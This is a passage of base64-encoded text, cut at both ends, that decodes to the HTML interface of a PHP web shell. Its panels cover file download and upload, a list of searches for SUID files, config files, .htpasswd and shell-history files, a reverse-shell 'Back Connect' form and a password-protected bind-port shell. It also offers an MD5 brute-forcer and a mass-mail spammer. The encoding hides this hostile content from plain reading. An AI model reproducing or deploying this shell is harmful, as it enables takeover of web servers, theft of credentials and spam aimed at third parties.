Qo8L3RhYmxlPjwvZm9ybT4NCjwvdGQ+PC90cj4NCjx0cj48dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPTUwJT4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIHZhbGlnbj10b3AgY2xhc3M9J3RkMic+DQo8dHI+PHRkPg0KPGI+Ljo6RG93bmxvYWQ6Oi48L2I+DQo8L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nYnQnIHZhbHVlPSJEb3dubG9hZCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9MTE+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIGNvbHNwYW49Mj4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0idmFsdWUiIGNsYXNzPSd0YScgc2l6ZT03MSB2YWx1ZT08P3BocCBlY2hvIHB3ZCgpOz8+Pg0KPC90ZD48L3RyPg0KPC90YWJsZT48L2Zvcm0+PC90ZD48dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPTUwJT4NCjxmb3JtIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIHZhbGlnbj10b3AgY2xhc3M9J3RkMic+DQo8dHI+PHRkPg0KPGI+Ljo6VXBsb2FkOjouPC9iPg0KPC90ZD48dGQgYWxpZ249cmlnaHQgY29sc3Bhbj0zPg0KPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdidCcgdmFsdWU9IlVwbG9hZCI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0idHlwZSIgdmFsdWU9Nj4NCjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0yPg0KPGZvbnQgc2l6ZT0yIGNvbG9yPSM4ODg4ODg+TmV3IG5hbWU6PC9iPg0KPGlucHV0IHR5cGU9dGV4dCBzaXplPTE1IG5hbWU9Im5ld25hbWUiIGNsYXNzPXRhPg0KPC90ZD48dGQgd2lkdGg9ND48L3RkPjx0ZCBjb2xzcGFuPTI+DQo8aW5wdXQgdHlwZT1maWxlIG5hbWU9InVzZXJmaWxlIiBzaXplPTI4Pg0KPC90ZD48L3RyPg0KPC90YWJsZT48L2Zvcm0+DQo8dHI+PHRkIHZhbGlnbj10b3AgYWxpZ249bGVmdCB3aWR0aD01MCU+DQo8Zm9ybSBhY3Rpb24gbWV0aG9kPVBPU1Q+DQo8dGFibGUgd2lkdGg9MTAwJSBoZWlnaHQ9MTAwJSB2YWxpZ249dG9wIGNsYXNzPSd0ZDInPg0KPHRyPjx0ZD4NCjxiPi46OkFsaWFzOjouPC9iPg0KPC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J2J0JyB2YWx1ZT0iUlVOIj4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ0eXBlIiB2YWx1ZT03Pg0KPC90ZD48L3RyPg0KPHRyPjx0ZCBjb2xzcGFuPTI+DQo8c2VsZWN0IG5hbWU9J3ZhbHVlJyBjbGFzcz0ndGEnIHdpZHRoPTIwMD4NCjxvcHRpb24+ZmluZCBhcGFoY2UgY29uZmlnIGZpbGU8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBhY2Nlc3NfbG9nIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgZXJyb3JfbG9nIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgc3VpZCBmaWxlczwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIHN1aWQgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBzZ2lkIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgc2dpZCBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGNvbmZpZy5pbmMucGhwIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBjb25maWcqIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgY29uZmlnKiBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGFsbCB3cml0YWJsZSBmaWxlczwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGFsbCB3cml0YWJsZSBmaWxlcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGFsbCB3cml0YWJsZSBkaXJlY3Rvcmllczwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBpbiBjdXJyZW50IGRpcjwvb3B0aW9uPg0KPG9wdGlvbj5maW5kIGFsbCB3cml0YWJsZSBkaXJlY3RvcmllcyBhbmQgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBhbGwgd3JpdGFibGUgZGlyZWN0b3JpZXMgYW5kIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgYWxsIHNlcnZpY2UucHdkIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgc2VydmljZS5wd2QgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgLmh0cGFzc3dkIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgYWxsIC5iYXNoX2hpc3RvcnkgZmlsZXM8L29wdGlvbj4NCjxvcHRpb24+ZmluZCAuYmFzaF9oaXN0b3J5IGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgYWxsIC5teXNxbF9oaXN0b3J5IGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgLm15c3FsX2hpc3RvcnkgZmlsZXMgaW4gY3VycmVudCBkaXI8L29wdGlvbj4NCjxvcHRpb24+ZmluZCBhbGwgLmZldGNobWFpbHJjIGZpbGVzPC9vcHRpb24+DQo8b3B0aW9uPmZpbmQgLmZldGNobWFpbHJjIGZpbGVzIGluIGN1cnJlbnQgZGlyPC9vcHRpb24+DQo8b3B0aW9uPmxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtPC9vcHRpb24+DQo8b3B0aW9uPnNob3cgb3BlbmVkIHBvcnRzPC9vcHRpb24+DQo8b3B0aW9uPi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTwvb3B0aW9uPg0KPC9zZWxlY3Q+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPjwvZm9ybT48L3RkPg0KPHNjcmlwdD4NCmZ1bmN0aW9uIGJhc2U2NEVuY29kZShzdHIpDQp7DQoJdmFyIGNoYXJCYXNlNjQgPSBuZXcgQXJyYXkoDQoJCSdBJywnQicsJ0MnLCdEJywnRScsJ0YnLCdHJywnSCcsJ0knLCdKJywnSycsJ0wnLCdNJywnTicsJ08nLCdQJywNCgkJJ1EnLCdSJywnUycsJ1QnLCdVJywnVicsJ1cnLCdYJywnWScsJ1onLCdhJywnYicsJ2MnLCdkJywnZScsJ2YnLA0KCQknZycsJ2gnLCdpJywnaicsJ2snLCdsJywnbScsJ24nLCdvJywncCcsJ3EnLCdyJywncycsJ3QnLCd1JywndicsDQoJCSd3JywneCcsJ3knLCd6JywnMCcsJzEnLCcyJywnMycsJzQnLCc1JywnNicsJzcnLCc4JywnOScsJysnLCcvJw0KCSk7DQoNCgl2YXIgb3V0ID0gIiI7DQoJdmFyIGNocjEsIGNocjIsIGNocjM7DQoJdmFyIGVuYzEsIGVuYzIsIGVuYzMsIGVuYzQ7DQoJdmFyIGkgPSAwOw0KDQoJdmFyIGxlbiA9IHN0ci5sZW5ndGg7DQoNCglkbw0KCXsNCgkJY2hyMSA9IHN0ci5jaGFyQ29kZUF0KGkrKyk7DQoJCWNocjIgPSBzdHIuY2hhckNvZGVBdChpKyspOw0KCQljaHIzID0gc3RyLmNoYXJDb2RlQXQoaSsrKTsNCg0KDQoJCWVuYzEgPSBjaHIxID4+IDI7DQoJCWVuYzIgPSAoKGNocjEgJiAweDAzKSA8PCA0KSB8IChjaHIyID4+IDQpOw0KCQllbmMzID0gKChjaHIyICYgMHgwRikgPDwgMikgfCAoY2hyMyA+PiA2KTsNCgkJZW5jNCA9IGNocjMgJiAweDNGOw0KDQoJCW91dCArPSBjaGFyQmFzZTY0W2VuYzFdICsgY2hhckJhc2U2NFtlbmMyXTsNCg0KCQlpZiAoaXNOYU4oY2hyMikpDQogIAkJew0KCQkJb3V0ICs9ICc9PSc7DQoJCX0NCiAgCQllbHNlIGlmIChpc05hTihjaHIzKSkNCiAgCQl7DQoJCQlvdXQgKz0gY2hhckJhc2U2NFtlbmMzXSArICc9JzsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCW91dCArPSBjaGFyQmFzZTY0W2VuYzNdICsgY2hhckJhc2U2NFtlbmM0XTsNCgkJfQ0KCX0NCgl3aGlsZSAoaSA8IGxlbik7DQoNCglyZXR1cm4gb3V0Ow0KfQ0KDQoNCmZ1bmN0aW9uIGJhc2U2NERlY29kZShzdHIpDQp7DQoJdmFyIGluZGV4QmFzZTY0ID0gbmV3IEFycmF5KA0KCQktMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwNCgkJLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsDQoJCS0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsNjIsIC0xLC0xLC0xLDYzLA0KCQk1Miw1Myw1NCw1NSwgNTYsNTcsNTgsNTksIDYwLDYxLC0xLC0xLCAtMSwtMSwtMSwtMSwNCgkJLTEsIDAsIDEsIDIsICAzLCA0LCA1LCA2LCAgNywgOCwgOSwxMCwgMTEsMTIsMTMsMTQsDQoJCTE1LDE2LDE3LDE4LCAxOSwyMCwyMSwyMiwgMjMsMjQsMjUsLTEsIC0xLC0xLC0xLC0xLA0KCQktMSwyNiwyNywyOCwgMjksMzAsMzEsMzIsIDMzLDM0LDM1LDM2LCAzNywzOCwzOSw0MCwNCgkJNDEsNDIsNDMsNDQsIDQ1LDQ2LDQ3LDQ4LCA0OSw1MCw1MSwtMSwgLTEsLTEsLTEsLTEsDQoJCS0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KCQktMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwNCgkJLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsDQoJCS0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KCQktMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwNCgkJLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsDQoJCS0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLA0KCQktMSwtMSwtMSwtMSwgLTEsLTEsLTEsLTEsIC0xLC0xLC0xLC0xLCAtMSwtMSwtMSwtMQ0KCSk7DQoNCgl2YXIgb3V0ID0gIiI7DQoJdmFyIGNocjEsIGNocjIsIGNocjM7DQoJdmFyIGVuYzEsIGVuYzIsIGVuYzMsIGVuYzQ7DQoJdmFyIGkgPSAwOw0KDQoNCglzdHIgPSBzdHIucmVwbGFjZSgvXlteYS16QS1aMC05XCtcL1w9XSt8W15hLXpBLVowLTlcK1wvXD1dKyQvZywiIikNCg0KCXZhciBsZW4gPSBzdHIubGVuZ3RoOw0KDQoJZG8NCgl7DQoJCWVuYzEgPSBpbmRleEJhc2U2NFtzdHIuY2hhckNvZGVBdChpKyspXTsNCgkJZW5jMiA9IGluZGV4QmFzZTY0W3N0ci5jaGFyQ29kZUF0KGkrKyldOw0KCQllbmMzID0gaW5kZXhCYXNlNjRbc3RyLmNoYXJDb2RlQXQoaSsrKV07DQoJCWVuYzQgPSBpbmRleEJhc2U2NFtzdHIuY2hhckNvZGVBdChpKyspXTsNCg0KCQljaHIxID0gKGVuYzEgPDwgMikgfCAoZW5jMiA+PiA0KTsNCgkJY2hyMiA9ICgoZW5jMiAmIDE1KSA8PCA0KSB8IChlbmMzID4+IDIpOw0KCQljaHIzID0gKChlbmMzICYgMykgPDwgNikgfCBlbmM0Ow0KDQoJCW91dCArPSBTdHJpbmcuZnJvbUNoYXJDb2RlKGNocjEpOw0KDQoJCWlmIChlbmMzICE9IC0xKQ0KCQl7DQoJCQlvdXQgKz0gU3RyaW5nLmZyb21DaGFyQ29kZShjaHIyKTsNCgkJfQ0KCQlpZiAoZW5jNCAhPSAtMSkNCgkJew0KCQkJb3V0ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoY2hyMyk7DQoJCX0NCgl9DQoJd2hpbGUgKGkgPCBsZW4pOw0KDQoJaWYgKGkgIT0gbGVuKQ0KCXsNCgkJbmV3IEVycm9yKEJBU0U2NF9CUk9LRU4pOw0KCQlyZXR1cm4gIiI7DQoJfQ0KDQoJcmV0dXJuIG91dDsNCn0NCg0KPC9zY3JpcHQ+DQo8dGQgdmFsaWduPXRvcCBhbGlnbj1sZWZ0IHdpZHRoPTUwJT4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0YWJsZSB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIHZhbGlnbj10b3AgY2xhc3M9J3RkMic+DQo8dHI+PHRkIHdpZHRoPTElPg0KPGI+Ljo6QmFzZTY0X2VuY29kZTo6LjwvYj4NCjwvdGQ+PHRkIGFsaWduPXJpZ2h0IHdpZHRoPTYlPg0KPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSJlbmNvZGUiIGNsYXNzPSdidCcgb25jbGljaz0ndC52YWx1ZT1iYXNlNjRFbmNvZGUodC52YWx1ZSknPgkNCjwvdGQ+DQo8Zm9ybSBhY3Rpb24gbWV0aG9kPVBPU1Q+PHRkIHdpZHRoPTElPg0KPGI+Ljo6QmFzZTY0X2RlY29kZTo6LjwvYj4NCjwvdGQ+PHRkIGFsaWduPXJpZ2h0IHdpZHRoPTYlPg0KPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSJkZWNvZGUiIGNsYXNzPSdidCcgb25jbGljaz0nbi52YWx1ZT1iYXNlNjREZWNvZGUobi52YWx1ZSknPgkNCjwvdGQ+PC90cj4NCjx0cj48dGQgY29sc3Bhbj0yPg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSd0JyBjbGFzcz0ndGEnIHNpemU9MzQ+DQo8L3RkPjx0ZCBjb2xzcGFuPTI+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J24nIGNsYXNzPSd0YScgc2l6ZT0zND4NCjwvdGQ+PC90cj4NCjwvdGFibGU+PC9mb3JtPg0KPC90ZD48L3RyPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvdGQ+PC90cj48dHI+PC90cj48dHI+PHRkPg0KPHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MD48dHI+PHRkPg0KPHRhYmxlIGNsYXNzPSd0ZDEnIHdpZHRoPTIyNj4NCjx0cj48dGQgd2lkdGg9MTAwJSBjbGFzcz0ndGQyJz4NCjxmb3JtIGFjdGlvbiBtZXRob2Q9UE9TVD4NCjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9OTAlIGJvcmRlcj0wPjx0cj48dGQgY29sc3Bhbj0zPg0KPGI+Ljo6QmFjayBDb25uZWN0OjouPC9iPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9MTAgY29sc3Bhbj0zPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPjxiPklQOjwvYj48L2ZvbnQ+PC90ZD4NCjx0ZCB3aWR0aD01JT48L3RkPg0KPHRkIHdpZHRoPTEwMCUgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IGNsYXNzPSd0YScgbmFtZT0naXAnIHNpemU9MTUgdmFsdWU9PD9waHAgZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTs/Pj48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTEwMCUgaGVpZ2h0PTUgY29sc3Bhbj0zPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPnBvcnQ6PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9NSU+PC90ZD4NCjx0ZCB3aWR0aD0xMDAlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBjbGFzcz0ndGEnIG5hbWU9J3BvcnQnIHNpemU9MTAgdmFsdWU9JzUwMDAnPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9NSBjb2xzcGFuPTM+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+PGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+TWV0aG9kOjwvZm9udD48L3RkPg0KPHRkIHdpZHRoPTUlPjwvdGQ+DQo8dGQgd2lkdGg9MTAwJSBhbGlnbj1yaWdodD4NCjxzZWxlY3QgY2xhc3M9J3RhJyBuYW1lPSdtZXRob2QnPg0KPG9wdGlvbj5QZXJsPC9vcHRpb24+DQo8b3B0aW9uPkMjPC9vcHRpb24+DQo8b3B0aW9uPi0tLS0tLS0tLS0tLS0tLS0tLS0tLTwvb3B0aW9uPg0KPC9zZWxlY3Q+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0xMDAlIGhlaWdodD01IGNvbHNwYW49Mz48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTEwMCUgYWxpZ249cmlnaHQgY29sc3Bhbj0zPg0KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9J3R5cGUnIHZhbHVlPScxMic+DQo8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0Nvbm5lY3QnIGNsYXNzPSdidCc+PC9mb3JtPg0KPHRyPjx0ZCB3aWR0aD0xMDAlIGhlaWdodD01IGNvbHNwYW49Mz48L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjwvdGQ+PHRkIHdpZHRoPTU+PC90ZD48dGQ+DQo8dGFibGUgY2xhc3M9J3RkMScgd2lkdGg9MjI2Pg0KPHRyPjx0ZCB3aWR0aD0xMDAlIGNsYXNzPSd0ZDInPg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KPHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD05MCUgYm9yZGVyPTA+PHRyPjx0ZCBjb2xzcGFuPTM+DQo8Yj4uOjpCaW5kIHBvcnQ6Oi48L2I+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0xMDAlIGhlaWdodD0xMCBjb2xzcGFuPTM+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+PGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+PGI+UG9ydDo8L2I+PC9mb250PjwvdGQ+DQo8dGQgd2lkdGg9NSU+PC90ZD4NCjx0ZCB3aWR0aD0xMDAlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBjbGFzcz0ndGEnIG5hbWU9J3BvcnQnIHNpemU9MTUgdmFsdWU9JzYwMDAnPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9NSBjb2xzcGFuPTM+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+PGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+cGFzczo8L2ZvbnQ+PC90ZD4NCjx0ZCB3aWR0aD01JT48L3RkPg0KPHRkIHdpZHRoPTEwMCUgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IGNsYXNzPSd0YScgbmFtZT0ncGFzcycgc2l6ZT0xMCB2YWx1ZT0naHNoZWxsJz48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTEwMCUgaGVpZ2h0PTUgY29sc3Bhbj0zPjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPk1ldGhvZDo8L2ZvbnQ+PC90ZD4NCjx0ZCB3aWR0aD01JT48L3RkPg0KPHRkIHdpZHRoPTEwMCUgYWxpZ249cmlnaHQ+DQo8c2VsZWN0IGNsYXNzPSd0YScgbmFtZT0nbWV0aG9kJz4NCjxvcHRpb24+UGVybDwvb3B0aW9uPg0KPG9wdGlvbj5DIzwvb3B0aW9uPg0KPG9wdGlvbj4tLS0tLS0tLS0tLS0tLS0tLS0tLS08L29wdGlvbj4NCjwvc2VsZWN0PjwvdGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9NSBjb2xzcGFuPTM+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0xMDAlIGFsaWduPXJpZ2h0IGNvbHNwYW49Mz4NCjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSd0eXBlJyB2YWx1ZT0nMTInPg0KPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdCaW5kJyBjbGFzcz0nYnQnPjwvZm9ybT4NCjx0cj48dGQgd2lkdGg9MTAwJSBoZWlnaHQ9NSBjb2xzcGFuPTM+PC90ZD48L3RyPg0KPC90YWJsZT4NCjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L3RkPjx0ZCB3aWR0aD01PjwvdGQ+PHRkIHdpZHRoPTUwJSBoZWlnaHQ9MTQxPg0KPHRhYmxlIGNsYXNzPSd0ZDEnIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgdmFsaWduPXRvcD48dHI+PHRkIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgY2xhc3M9J3RkMicgdmFsaWduPXRvcD4NCjx0YWJsZSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgd2lkdGg9OTUlPjx0cj48dGQgY29sc3Bhbj00Pg0KPGI+Ljo6bWQ1IGJydXRlcjo6LjwvYj4NCjwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0xMD48L3RkPjwvdHI+DQo8dHI+PHRkIHdpZHRoPTIwPjwvdGQ+PHRkPg0KPGZvbnQgc2l6ZT0yIGNvbG9yPSIjODg4ODg4IiBhbGlnbj1yaWdodD48Yj5oYXNoOjwvYj48L2ZvbnQ+PC90ZD48dGQgd2lkdGg9NT48L3RkPjx0ZCBhbGlnbj1yaWdodD4NCjxpbnB1dCB0eXBlPXRleHQgbmFtZT0naGFzaCcgY2xhc3M9J3RhJyBzaXplPTUwPg0KPC90ZD48L3RyPg0KPHRyPjx0ZCBoZWlnaHQ9NT48L3RkPg0KPHRyPjx0ZCB3aWR0aD0yMD48L3RkPjx0ZD4NCjxmb250IHNpemU9MiBjb2xvcj0iIzg4ODg4OCIgYWxpZ249cmlnaHQ+bG9nX2ZpbGU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTU+PC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2xvZycgY2xhc3M9J3RhJyBzaXplPTMwIHZhbHVlPSdtZDVfbG9nLnR4dCc+DQo8L3RkPjwvdHI+DQo8dHI+PHRkIGhlaWdodD01PjwvdGQ+DQo8dHI+PHRkIHdpZHRoPTIwPjwvdGQ+PHRkPg0KPGZvbnQgc2l6ZT0yIGNvbG9yPSIjODg4ODg4IiBhbGlnbj1yaWdodD5kaWN0aW9uYXJ5X2ZpbGU6PC9mb250PjwvdGQ+PHRkIHdpZHRoPTU+PC90ZD48dGQgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2RpY3QnIGNsYXNzPSd0YScgc2l6ZT0zMCB2YWx1ZT0nbWQ1X2RpY3QudHh0Jz4NCjwvdGQ+PC90cj4NCjx0cj48dGQgaGVpZ2h0PTU+PC90ZD4NCjx0cj48dGQgd2lkdGg9MjA+PC90ZD48dGQ+DQo8L3RkPjx0ZCB3aWR0aD01PjwvdGQ+PHRkIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9c3VibWl0IGNsYXNzPSdidCcgdmFsdWU9J1N0YXJ0IEJydXRlJz4NCjwvdGQ+PC90cj4NCjwvdGFibGU+DQo8L3RkPjwvdHI+PC90YWJsZT4NCjwvdGQ+PC90cj48L3RhYmxlPg0KPHRyPjwvdHI+PHRyPjx0ZD4NCjx0YWJsZSBjbGFzcz0ndGQxJyB3aWR0aD0xMDAlIGhlaWdodD0zMTAgdmFsaWduPXRvcCBhbGlnbj1sZWZ0Pg0KPGZvcm0gYWN0aW9uIG1ldGhvZD1QT1NUPg0KPHRkIHZhbGlnbj10b3AgYWxpZ249bGVmdCBjbGFzcz0ndGQyJyB3aWR0aD0zMyU+DQo8dGFibGUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+DQo8dHI+PHRkIHZhbGlnbj10b3AgY29sc3Bhbj0zIGhlaWdodD0zMD4NCjxiPi46OlNwYW1tZXI6Oi48L2I+DQo8dHI+PHRkIHdpZHRoPTI1JSBhbGlnbj1yaWdodD4NCjxmb250IGNvbG9yPSM4ODg4ODggc2l6ZT0yPjxiPmVtYWlsc19maWxlOjwvYj48L2ZvbnQ+DQo8L3RkPjx0ZCB3aWR0aD02NSUgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2VsaXN0JyBjbGFzcz0ndGEnIHNpemU9MTcgdmFsdWU9ImVtYWlscy50eHQiPg0KPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PTU+PC90ZD48L3RyPg0KPHRyPjx0ZCB3aWR0aD0yNSUgYWxpZ249cmlnaHQ+DQo8Zm9udCBjb2xvcj0jODg4ODg4IHNpemU9Mj48Yj5sb2dfZmlsZTo8L2I+PC9mb250Pg0KPC90ZD48dGQgd2lkdGg9NjUlIGFsaWduPXJpZ2h0Pg0KPGlucHV0IHR5cGU9dGV4dCBuYW1lPSdsb2cnIGNsYXNzPSd0YScgc2l6ZT0xNyB2YWx1ZT0ibWFpbF9sb2cudHh0Ij4NCjwvdGQ+PC90cj4NCjx0ZCBoZWlnaHQ9NT48dGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+RnJvbTo8L2ZvbnQ+DQo8L3RkPjx0ZCB3aWR0aD02NSUgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2Zyb20nIGNsYXNzPSd0YScgc2l6ZT0yNz4NCjwvdGQ+PC90cj4NCjx0ZCBoZWlnaHQ9NT48dGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+U3ViamVjdDo8L2ZvbnQ+DQo8L3RkPjx0ZCB3aWR0aD02NSUgYWxpZ249cmlnaHQ+DQo8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J3N1YmplY3QnIGNsYXNzPSd0YScgc2l6ZT0yNz4NCjwvdGQ+PC90cj4NCjx0ZCBoZWlnaHQ9NT48dGQ+PC90cj4NCjx0cj48dGQgd2lkdGg9MjUlIGFsaWduPXJpZ2h0Pg0KPGZvbnQgY29sb3I9Izg4ODg4OCBzaXplPTI+TWVzc2FnZTo8L2ZvbnQ+DQo8L3RkPjx0ZCB3aWR0aD02NSUgYWxpZ249cmlnaHQ+DQo8dGV4dGFyZWEgbmFtZT0nbXNnJyBjbGFzcz0ndGEnIGNvbHM9MjAgcm93cz00PjwvdGV4dGFyZWE+DQ